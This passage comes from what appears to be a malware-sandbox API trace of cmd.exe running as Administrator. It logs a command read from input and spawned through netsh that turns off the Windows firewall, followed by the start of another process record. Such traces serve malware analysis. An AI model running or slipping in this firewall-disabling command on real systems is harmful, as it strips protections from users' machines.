lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de376, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0038.566] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.566] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.566] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de378, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0038.566] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.566] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.567] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de37a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0038.567] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.567] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.567] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de37c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0038.568] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.568] GetFileType (hFile=0x98) returned 0x3 [0038.568] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.568] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.568] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.568] GetFileType (hFile=0xfc) returned 0x3 [0038.568] _get_osfhandle (_FileHandle=1) returned 0xfc [0038.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0038.568] WriteFile (in: hFile=0xfc, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x2bf788, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x2bf788*=0x2f, lpOverlapped=0x0) returned 1 [0038.568] GetProcessHeap () returned 0x50000 [0038.568] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x4012) returned 0x6cd20 [0038.568] GetProcessHeap () returned 0x50000 [0038.568] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd20 | out: hHeap=0x50000) returned 1 [0038.568] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0038.568] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0038.569] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0038.569] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0038.569] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0038.569] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0038.569] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0038.569] GetProcessHeap () returned 0x50000 [0038.569] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xb0) returned 0x697e0 [0038.569] GetProcessHeap () returned 0x50000 [0038.569] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x1c) returned 0x64610 [0038.570] GetProcessHeap () returned 0x50000 [0038.570] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x64) returned 0x698a0 [0038.570] GetConsoleOutputCP () returned 0x1b5 [0038.570] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a6dbfe0 | out: lpCPInfo=0x4a6dbfe0) returned 1 [0038.570] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0038.571] GetConsoleTitleW (in: lpConsoleTitle=0x2bf740, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.571] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0038.571] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0038.571] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0038.571] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0038.571] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0038.571] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0038.571] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0038.571] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0038.571] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0038.571] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0038.571] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0038.571] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0038.571] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0038.571] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0038.571] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0038.571] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0038.571] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0038.571] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0038.571] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0038.571] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0038.571] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0038.571] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0038.571] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0038.571] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0038.571] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0038.572] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0038.572] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0038.572] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0038.572] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0038.572] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0038.572] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0038.572] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0038.572] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0038.572] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0038.572] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0038.572] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0038.572] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0038.572] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0038.572] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0038.572] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0038.572] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0038.572] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0038.572] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0038.572] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0038.572] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0038.572] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0038.572] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0038.572] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0038.572] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0038.572] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0038.572] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0038.572] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0038.572] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0038.572] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0038.572] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0038.572] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0038.572] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0038.572] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0038.572] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0038.572] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0038.572] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0038.572] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0038.573] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0038.573] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0038.573] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0038.573] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0038.573] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0038.573] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0038.573] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0038.573] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0038.573] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0038.573] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0038.573] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0038.573] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0038.573] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0038.573] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0038.573] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0038.573] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0038.573] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0038.573] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0038.573] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0038.573] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0038.573] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0038.573] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0038.573] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0038.573] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0038.573] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0038.575] GetProcessHeap () returned 0x50000 [0038.575] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x218) returned 0x51ab0 [0038.575] GetProcessHeap () returned 0x50000 [0038.575] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x70) returned 0x51cd0 [0038.575] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0038.576] GetProcessHeap () returned 0x50000 [0038.576] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x420) returned 0x69a80 [0038.576] SetErrorMode (uMode=0x0) returned 0x0 [0038.576] SetErrorMode (uMode=0x1) returned 0x0 [0038.576] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x69a90, lpFilePart=0x2befd0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2befd0*="Desktop") returned 0x25 [0038.576] SetErrorMode (uMode=0x0) returned 0x1 [0038.576] GetProcessHeap () returned 0x50000 [0038.576] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x69a80, Size=0x68) returned 0x69a80 [0038.576] GetProcessHeap () returned 0x50000 [0038.576] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x69a80) returned 0x68 [0038.576] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.576] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.576] GetProcessHeap () returned 0x50000 [0038.576] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x128) returned 0x65b70 [0038.576] GetProcessHeap () returned 0x50000 [0038.576] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x240) returned 0x69b00 [0038.581] GetProcessHeap () returned 0x50000 [0038.581] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x69b00, Size=0x12a) returned 0x69b00 [0038.581] GetProcessHeap () returned 0x50000 [0038.581] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x69b00) returned 0x12a [0038.581] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.581] GetProcessHeap () returned 0x50000 [0038.581] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xe8) returned 0x69c40 [0038.581] GetProcessHeap () returned 0x50000 [0038.581] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x69c40, Size=0x7e) returned 0x69c40 [0038.581] GetProcessHeap () returned 0x50000 [0038.581] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x69c40) returned 0x7e [0038.583] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x2bed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bed40) returned 0xffffffffffffffff [0038.583] GetLastError () returned 0x2 [0038.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh", fInfoLevelId=0x1, lpFindFileData=0x2bed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bed40) returned 0xffffffffffffffff [0038.583] GetLastError () returned 0x2 [0038.583] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.583] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x2bed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bed40) returned 0x51d50 [0038.583] GetProcessHeap () returned 0x50000 [0038.583] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x0, Size=0x28) returned 0x64640 [0038.583] FindClose (in: hFindFile=0x51d50 | out: hFindFile=0x51d50) returned 1 [0038.584] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x2bed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bed40) returned 0xffffffffffffffff [0038.584] GetLastError () returned 0x2 [0038.584] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x2bed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bed40) returned 0x51d50 [0038.584] GetProcessHeap () returned 0x50000 [0038.584] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x64640, Size=0x8) returned 0x68900 [0038.584] FindClose (in: hFindFile=0x51d50 | out: hFindFile=0x51d50) returned 1 [0038.584] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0038.584] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0038.584] GetConsoleTitleW (in: lpConsoleTitle=0x2bf290, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.584] GetProcessHeap () returned 0x50000 [0038.584] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x21c) returned 0x69cd0 [0038.585] GetConsoleTitleW (in: lpConsoleTitle=0x69ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.585] GetProcessHeap () returned 0x50000 [0038.585] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x69cd0, Size=0xd6) returned 0x69cd0 [0038.585] GetProcessHeap () returned 0x50000 [0038.585] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x69cd0) returned 0xd6 [0038.585] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0038.585] GetProcessHeap () returned 0x50000 [0038.585] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x69cd0 | out: hHeap=0x50000) returned 1 [0038.585] InitializeProcThreadAttributeList (in: lpAttributeList=0x2bf048, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2bf008 | out: lpAttributeList=0x2bf048, lpSize=0x2bf008) returned 1 [0038.585] UpdateProcThreadAttribute (in: lpAttributeList=0x2bf048, dwFlags=0x0, Attribute=0x60001, lpValue=0x2beff8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2bf048, lpPreviousValue=0x0) returned 1 [0038.585] GetStartupInfoW (in: lpStartupInfo=0x2bf160 | out: lpStartupInfo=0x2bf160*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x98, hStdOutput=0xfc, hStdError=0xfc)) [0038.585] GetProcessHeap () returned 0x50000 [0038.585] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x20) returned 0x64640 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0038.586] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0038.587] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.587] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.587] GetProcessHeap () returned 0x50000 [0038.587] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x64640 | out: hHeap=0x50000) returned 1 [0038.587] GetProcessHeap () returned 0x50000 [0038.587] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x12) returned 0x65ca0 [0038.587] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2bf080*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2bf030 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x2bf030*(hProcess=0x54, hThread=0x50, dwProcessId=0xb64, dwThreadId=0xb68)) returned 1 [0038.773] CloseHandle (hObject=0x50) returned 1 [0038.773] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0038.773] GetProcessHeap () returned 0x50000 [0038.773] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c230 | out: hHeap=0x50000) returned 1 [0038.773] GetEnvironmentStringsW () returned 0x6aa10* [0038.774] GetProcessHeap () returned 0x50000 [0038.774] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xae8) returned 0x6b500 [0038.774] FreeEnvironmentStringsW (penv=0x6aa10) returned 1 [0038.774] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0038.774] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0038.774] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2be938, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2be938, ReturnLength=0x0) returned 0x0 [0038.774] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x2be970, nSize=0x380, lpNumberOfBytesRead=0x2be930 | out: lpBuffer=0x2be970*, lpNumberOfBytesRead=0x2be930*=0x380) returned 1 [0038.775] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x45238000" os_pid = "0xb3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa54" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 16 os_tid = 0xb40 [0038.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1dfc10 | out: lpSystemTimeAsFileTime=0x1dfc10*(dwLowDateTime=0x862684d0, dwHighDateTime=0x1d52d18)) [0038.483] GetCurrentProcessId () returned 0xb3c [0038.483] GetCurrentThreadId () returned 0xb40 [0038.483] GetTickCount () returned 0x1a19b [0038.483] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfc18 | out: lpPerformanceCount=0x1dfc18*=15863073276) returned 1 [0038.484] GetModuleHandleW (lpModuleName=0x0) returned 0x4a6a0000 [0038.484] __set_app_type (_Type=0x1) [0038.484] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a6c7810) returned 0x0 [0038.484] __getmainargs (in: _Argc=0x4a6ea608, _Argv=0x4a6ea618, _Env=0x4a6ea610, _DoWildCard=0, _StartInfo=0x4a6ce0f4 | out: _Argc=0x4a6ea608, _Argv=0x4a6ea618, _Env=0x4a6ea610) returned 0 [0038.484] GetCurrentThreadId () returned 0xb40 [0038.484] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb40) returned 0x3c [0038.485] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0038.485] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0038.485] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0038.485] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.485] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1dfba8 | out: phkResult=0x1dfba8*=0x0) returned 0x2 [0038.485] VirtualQuery (in: lpAddress=0x1dfb90, lpBuffer=0x1dfb10, dwLength=0x30 | out: lpBuffer=0x1dfb10*(BaseAddress=0x1df000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.485] VirtualQuery (in: lpAddress=0xe0000, lpBuffer=0x1dfb10, dwLength=0x30 | out: lpBuffer=0x1dfb10*(BaseAddress=0xe0000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.485] VirtualQuery (in: lpAddress=0xe1000, lpBuffer=0x1dfb10, 